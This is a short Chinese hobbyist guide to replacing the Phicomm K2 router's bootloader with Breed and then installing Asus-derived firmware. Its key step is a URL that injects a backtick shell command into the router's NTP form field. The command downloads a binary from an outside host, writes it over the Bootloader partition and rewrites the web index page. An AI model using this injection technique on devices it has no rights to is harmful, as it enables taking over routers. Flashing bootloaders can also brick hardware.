斐讯K2刷华硕固件

2016年6月28日，新的K2固件是21.4.5.4，UBOOT也是新版本，已经不能降级，会提示image error，映像错误。
有牛人发现了斐讯K2系统的漏洞，可以执行底层linux命令

一键刷breed：
1：路由器能正常上网，登陆进路由器192.168.2.1 (默认密码admin)，这样就成了登录状态
2：用浏览器打开这个网址，如果默认ip不是192.168.2.1修改一下书名号内的为代码，将代码复制并贴到浏览器地址栏，Enter即可在线刷breed，前提是已联网，

http://192.168.2.1/goform/gra_NTPSyncWithLocal?text_year="2016|`if wget -O /tmp/breed.bin http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin;then mtd_write write /tmp/breed.bin Bootloader;echo breed ok! >/etc_ro/web/index.asp;fi`"

这段代码的意思是通过漏洞 使用wget命令下载breed底层boot替代原厂的uboot，输入这段命令要等大概1-5分钟，才能完成，因为wget下载breed也是需要时间的.
估计时间到了之后，再次访问路由192.168.2.1，会显示breed ok！字样，就表示刷breed成功。
接下来进入boot模式（我们刷了breed，此时boot就是breed）：
将路由用网线连接lan口和电脑，拔掉路由电源，按住reset不放，插上电源（此时按住reset不能松手），等待15秒后，松开，输入192.168.1.1就进入了breed。

breed.jpg

进入固件更新，选择自己提前下载好的固件，我这里是RT-AC54U-GPIO-1-PSG1218-64M_3.4.3.9-099.trx,确认就开始更新固件了，等待进度条满后，过几十秒，再次进入192.168.1.1，默认账号密码admin，就进入了安装好的华硕固件，自己设置就行了。

asusgujian.jpg